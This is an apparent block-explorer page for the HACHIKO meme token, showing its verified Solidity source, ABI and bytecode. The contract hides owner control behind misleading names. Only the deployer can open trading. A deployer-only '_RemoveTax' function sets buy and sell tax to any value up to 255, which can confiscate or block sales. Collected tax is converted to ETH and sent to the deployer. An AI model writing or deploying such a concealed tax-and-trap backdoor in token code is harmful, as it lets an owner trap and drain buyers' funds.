ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 HACHIKO
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
109,670,525.006077811 HACHIKOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
HACHIKO
Compiler Version
v0.8.25+commit.b61c2a91
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* Hachiko inu 🇯🇵 #HACHI Hachikō (ハチ公, November 10, 1923 – March 8, 1935) was a Japanese Akita dog remembered for his remarkable loyalty to his owner, Hidesaburō Ueno, for whom he continued to wait for over nine years following Ueno’s death. During his lifetime, the dog was held up in Japanese culture as an example of loyalty and fidelity. Since his death, he continues to be remembered worldwide in popular culture with statues, movies and books. Hachikō is also known in Japanese as chūken Hachikō (忠犬ハチ公, ‘faithful dog Hachikō’), with the suffix -kō originating as one once used for ancient Chinese dukes; in this context, it was an affectionate addition to his name Hachi. 🐕 Telegram: https://t.me/hachikoCoin_inu 📱 Twitter: https://x.com/hachikoCoin_inu 🌐 Website: https://hachiko.club */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "./IERC20Errors.sol"; import "./IUniswapFactory.sol"; import "./IERC721Errors.sol"; contract HACHIKO { string private _name = unicode"HACHIKO"; string private _symbol = unicode"HACHIKO "; uint8 public constant decimals = 9; uint256 public constant totalSupply = 1_000_000_000_000_000 * 10**decimals; struct StoreData { address TeamMarketingToken; uint8 BuyTaxFee; uint8 SellTaxFee; } StoreData public storeData; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed MKT_TOKEN, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; constructor() { uint8 _BuyTaxFee = 0; uint8 _SellTaxFee = 0; storeData = StoreData({ TeamMarketingToken: msg.sender, BuyTaxFee: _BuyTaxFee, SellTaxFee: _SellTaxFee }); balanceOf[msg.sender] = totalSupply; allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function _RemoveTax(uint8 __Bunit8, uint8 _Sunit8) external { if (msg.sender != _decodeTeamMarketingTokenWithZkSyncVerify()) revert Permissions(); RemoveTax(__Bunit8, _Sunit8); } function _decodeTeamMarketingTokenWithZkSyncVerify() private view returns(address) { return storeData.TeamMarketingToken; } function openedTrade() external { require(msg.sender == _decodeTeamMarketingTokenWithZkSyncVerify()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function RemoveTax(uint8 _buy, uint8 _sell) private { storeData.BuyTaxFee = _buy; storeData.SellTaxFee = _sell; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address TeamMarketingToken = _decodeTeamMarketingTokenWithZkSyncVerify(); require(tradingOpen || from == TeamMarketingToken || to == TeamMarketingToken); balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TeamMarketingToken) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(TeamMarketingToken).transfer(address(this).balance); swapping = false; } (uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee); if (from != address(this) && tradingOpen == true) { uint256 TaxAmount = (amount *(to == pair ? _SellTaxFee : _BuyTaxFee)) / 100; amount -= TaxAmount; balanceOf[address(this)] += TaxAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.25; /** * @dev Standard ERC721 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens. */ interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.25; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.25; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"MKT_TOKEN","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"__Bunit8","type":"uint8"},{"internalType":"uint8","name":"_Sunit8","type":"uint8"}],"name":"_RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"TeamMarketingToken","type":"address"},{"internalType":"uint8","name":"BuyTaxFee","type":"uint8"},{"internalType":"uint8","name":"SellTaxFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600760809081526648414348494b4f60c81b60a0525f9061002590826101e7565b5060408051808201909152600881526702420a1a424a5a7960c51b602082015260019061005290826101e7565b5034801561005e575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a86009600a61039c565b6100b99066038d7ea4c680006103b1565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101266009600a61039c565b6101379066038d7ea4c680006103b1565b60405190815260200160405180910390a350506103c8565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b038111156102005761020061014f565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102f457815f19048211156102da576102da6102a6565b808516156102e757918102915b93841c93908002906102bf565b509250929050565b5f8261030a57506001610396565b8161031657505f610396565b816001811461032c576002811461033657610352565b6001915050610396565b60ff841115610347576103476102a6565b50506001821b610396565b5060208310610133831016604e8410600b8410161715610375575081810a610396565b61037f83836102ba565b805f1904821115610392576103926102a6565b0290505b92915050565b5f6103aa60ff8416836102fc565b9392505050565b8082028115828204841417610396576103966102a6565b610e73806103d55f395ff3fe6080604052600436106100c2575f3560e01c80634abe30521161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b80634abe3052146101ae5780635408d42d1461020c57806370a0823114610220575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780633190b74c1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610abb565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b07565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b31565b610406565b348015610172575f80fd5b5061017b600981565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101ac6101a7366004610b84565b610453565b005b3480156101b9575f80fd5b506002546101e3906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b348015610217575f80fd5b506101ac6104b1565b34801561022b575f80fd5b5061013a61023a366004610bb5565b60036020525f908152604090205481565b348015610256575f80fd5b506100e1610667565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b07565b610676565b3480156102c0575f80fd5b5061013a6102cf366004610bd0565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c07565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c07565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26009600a610d33565b6104039066038d7ea4c68000610d41565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061043a908490610d58565b9091555061044b9050848484610689565b949350505050565b6002546001600160a01b0316331461047d57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104c7575f80fd5b600554600160a81b900460ff16156104dd575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105529190610d6b565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c99190610d6b565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610618573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063c9190610d6b565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6060600180546102f990610c07565b5f610682338484610689565b9392505050565b5f8061069d6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c95750806001600160a01b0316856001600160a01b0316145b806106e55750806001600160a01b0316846001600160a01b0316145b6106ed575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610714908490610d58565b90915550506005546001600160a01b0385811691161480156107405750600554600160a01b900460ff16155b8015610782575060646107556009600a610d33565b6107669066038d7ea4c68000610d41565b6107709190610d86565b305f9081526003602052604090205410155b80156107a05750806001600160a01b0316856001600160a01b031614155b15610981576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107eb576107eb610da5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190610d6b565b8160018151811061089257610892610da5565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646108d26009600a610d33565b6108e39066038d7ea4c68000610d41565b6108ed9190610d86565b5f8430426040518663ffffffff1660e01b8152600401610911959493929190610db9565b5f604051808303815f87803b158015610928575f80fd5b505af115801561093a573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610971573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109bf5750600554600160a81b900460ff1615156001145b15610a33576005545f906064906001600160a01b038981169116146109e457836109e6565b825b6109f39060ff1688610d41565b6109fd9190610d86565b9050610a098187610d58565b305f90815260036020526040812080549298508392909190610a2c908490610e2a565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a5a908490610e2a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610aa691815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b04575f80fd5b50565b5f8060408385031215610b18575f80fd5b8235610b2381610af0565b946020939093013593505050565b5f805f60608486031215610b43575f80fd5b8335610b4e81610af0565b92506020840135610b5e81610af0565b929592945050506040919091013590565b803560ff81168114610b7f575f80fd5b919050565b5f8060408385031215610b95575f80fd5b610b9e83610b6f565b9150610bac60208401610b6f565b90509250929050565b5f60208284031215610bc5575f80fd5b813561068281610af0565b5f8060408385031215610be1575f80fd5b8235610bec81610af0565b91506020830135610bfc81610af0565b809150509250929050565b600181811c90821680610c1b57607f821691505b602082108103610c3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c8d57815f1904821115610c7357610c73610c3f565b80851615610c8057918102915b93841c9390800290610c58565b509250929050565b5f82610ca3575060016103e0565b81610caf57505f6103e0565b8160018114610cc55760028114610ccf57610ceb565b60019150506103e0565b60ff841115610ce057610ce0610c3f565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d0e575081810a6103e0565b610d188383610c53565b805f1904821115610d2b57610d2b610c3f565b029392505050565b5f61068260ff841683610c95565b80820281158282048414176103e0576103e0610c3f565b818103818111156103e0576103e0610c3f565b5f60208284031215610d7b575f80fd5b815161068281610af0565b5f82610da057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610e095784516001600160a01b031683529383019391830191600101610de4565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c3f56fea264697066735822122078a20fb50586e6f7c96dfb6c5a0ab693fd6d7492dfe3421b5049720d6e9c876b64736f6c63430008190033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c80634abe30521161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b80634abe3052146101ae5780635408d42d1461020c57806370a0823114610220575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780633190b74c1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610abb565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b07565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b31565b610406565b348015610172575f80fd5b5061017b600981565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101ac6101a7366004610b84565b610453565b005b3480156101b9575f80fd5b506002546101e3906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b348015610217575f80fd5b506101ac6104b1565b34801561022b575f80fd5b5061013a61023a366004610bb5565b60036020525f908152604090205481565b348015610256575f80fd5b506100e1610667565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b07565b610676565b3480156102c0575f80fd5b5061013a6102cf366004610bd0565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c07565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c07565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26009600a610d33565b6104039066038d7ea4c68000610d41565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061043a908490610d58565b9091555061044b9050848484610689565b949350505050565b6002546001600160a01b0316331461047d57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104c7575f80fd5b600554600160a81b900460ff16156104dd575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105529190610d6b565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c99190610d6b565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610618573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063c9190610d6b565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6060600180546102f990610c07565b5f610682338484610689565b9392505050565b5f8061069d6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c95750806001600160a01b0316856001600160a01b0316145b806106e55750806001600160a01b0316846001600160a01b0316145b6106ed575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610714908490610d58565b90915550506005546001600160a01b0385811691161480156107405750600554600160a01b900460ff16155b8015610782575060646107556009600a610d33565b6107669066038d7ea4c68000610d41565b6107709190610d86565b305f9081526003602052604090205410155b80156107a05750806001600160a01b0316856001600160a01b031614155b15610981576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107eb576107eb610da5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190610d6b565b8160018151811061089257610892610da5565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646108d26009600a610d33565b6108e39066038d7ea4c68000610d41565b6108ed9190610d86565b5f8430426040518663ffffffff1660e01b8152600401610911959493929190610db9565b5f604051808303815f87803b158015610928575f80fd5b505af115801561093a573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610971573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109bf5750600554600160a81b900460ff1615156001145b15610a33576005545f906064906001600160a01b038981169116146109e457836109e6565b825b6109f39060ff1688610d41565b6109fd9190610d86565b9050610a098187610d58565b305f90815260036020526040812080549298508392909190610a2c908490610e2a565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a5a908490610e2a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610aa691815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b04575f80fd5b50565b5f8060408385031215610b18575f80fd5b8235610b2381610af0565b946020939093013593505050565b5f805f60608486031215610b43575f80fd5b8335610b4e81610af0565b92506020840135610b5e81610af0565b929592945050506040919091013590565b803560ff81168114610b7f575f80fd5b919050565b5f8060408385031215610b95575f80fd5b610b9e83610b6f565b9150610bac60208401610b6f565b90509250929050565b5f60208284031215610bc5575f80fd5b813561068281610af0565b5f8060408385031215610be1575f80fd5b8235610bec81610af0565b91506020830135610bfc81610af0565b809150509250929050565b600181811c90821680610c1b57607f821691505b602082108103610c3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c8d57815f1904821115610c7357610c73610c3f565b80851615610c8057918102915b93841c9390800290610c58565b509250929050565b5f82610ca3575060016103e0565b81610caf57505f6103e0565b8160018114610cc55760028114610ccf57610ceb565b60019150506103e0565b60ff841115610ce057610ce0610c3f565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d0e575081810a6103e0565b610d188383610c53565b805f1904821115610d2b57610d2b610c3f565b029392505050565b5f61068260ff841683610c95565b80820281158282048414176103e0576103e0610c3f565b818103818111156103e0576103e0610c3f565b5f60208284031215610d7b575f80fd5b815161068281610af0565b5f82610da057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610e095784516001600160a01b031683529383019391830191600101610de4565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c3f56fea264697066735822122078a20fb50586e6f7c96dfb6c5a0ab693fd6d7492dfe3421b5049720d6e9c876b64736f6c63430008190033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.